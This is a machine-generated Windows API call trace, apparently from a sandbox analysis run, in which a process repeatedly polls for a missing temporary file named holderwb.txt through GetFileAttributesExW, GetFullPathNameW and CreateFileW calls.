	[0099.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.101] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.101] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.102] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.102] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.102] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.102] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.102] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.102] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.103] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.103] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.103] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.103] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.103] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.104] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.104] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.104] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.104] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.105] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.105] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.105] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.106] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.106] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.106] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.106] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.106] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.106] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.107] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.107] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.107] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.107] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.107] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.108] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.108] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.108] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.109] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.109] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.109] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.109] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.109] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.110] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.110] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.110] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.110] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.110] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.110] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.110] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.111] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.111] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.111] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.111] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.112] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.112] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.112] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.112] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.113] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.113] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.113] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.113] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.114] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.114] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.114] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.114] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.114] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.114] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.114] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.115] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.115] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.115] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.115] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
